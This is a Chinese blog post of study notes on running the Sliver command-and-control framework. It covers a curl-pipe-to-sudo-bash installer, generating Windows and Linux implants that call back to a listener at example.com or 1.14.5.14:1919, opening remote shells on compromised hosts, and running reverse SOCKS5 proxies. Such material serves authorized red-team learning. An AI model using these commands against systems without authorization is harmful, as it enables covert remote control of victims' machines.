码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 学习笔记-sliver


    sliver


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    项目地址

    • https://github.com/BishopFox/sliver

    使用文档

    • https://github.com/BishopFox/sliver/wiki

    相关文章

    • sliver c2代码的学习

    安装

    官方一条命令版

    1. # 安装
    2. curl https://sliver.sh/install|sudo bash
    3. # 连接(默认连接本地服务器)
    4. sliver
    5. # 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
    6. systemctl start sliver
    7. sliver

    使用

    连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多

    sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode

    Beacon Mode 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。

    Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。

    生成 shell (http)

    Session Mode

    1. generate -h
    2. generate --http example.com --save /tmp
    3. # 指定平台
    4. generate --http example.com --save /tmp --os win
    5. generate --http example.com --save /tmp --os linux

    Beacon Mode

    generate beacon --http example.com --save /tmp

    启动监听器

    1. http -h
    2. http --domain example.com
    3. # 查看当前的监听器
    4. jobs
    5. # 关闭监听器
    6. jobs -k [int]

    示例

    比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马

    1. generate --http http://1.14.5.14:1919 --save /tmp --os win
    2. # 开启一个基于 http 1919 端口的C2
    3. http -l 1919

    生成 shell (mtls)

    generate --mtls example.com --save /tmp --os win

    启动监听器

    1. mtls
    2. jobs

    进入 shell

    当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表

    sessions

    使用 use 后面跟 session id 指定要控制的目标主机

    use [session id]

    选中 sessions 后,我们可用2种控制模式

    interactive

    交互式会话,在 sliver 中某些命令,例如 shell portfwd 仅适用于交互式会话

    1. # 在选中 sessions 后 (仅beacon模式可用)
    2. interactive
    3. close

    shell

    1. # 在选中 sessions 后
    2. shell

    socks5

    • https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS
    • https://github.com/BishopFox/sliver/tree/master/client/command/socks

    开启 socks5 代理

    1. # 在进入 sessions 后 (仅 session 模式可用)
    2. socks5 start
    3. # 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
    4. socks5 start --help

    关闭 socks5 代理

    socks5 stop -i [ID]

    多人运动

    • https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode

    服务端

    /root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg

    用户端

    1. # 导入服务端生成的配置文件
    2. sliver import ./f8x.cfg
    3. # 再次启动会让你选择使用哪个 server
    4. sliver

    GUI

    • https://github.com/BishopFox/sliver-gui

    使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    Linux安装Tomcat并且设置开机自启动
    向量机SVM代码实现
    C/C++轻量级并发TCP服务器框架Zinx-游戏服务器开发006:基于redis查找玩家姓名+游戏业务实现总结
    Js逆向——捅了【马蜂窝】的ob混淆与加速乐
    仔细解读Linux中的“引导过程与服务内容”
    解决TypeError: ‘bool‘ object is not callable
    JavaScript中常用的输入输出语句介绍
    LLM 4 Vulnerability Detection
    Hive 安装配置
    Apache Doris (四十三): Doris数据更新与删除 - Update数据更新
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127664637
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号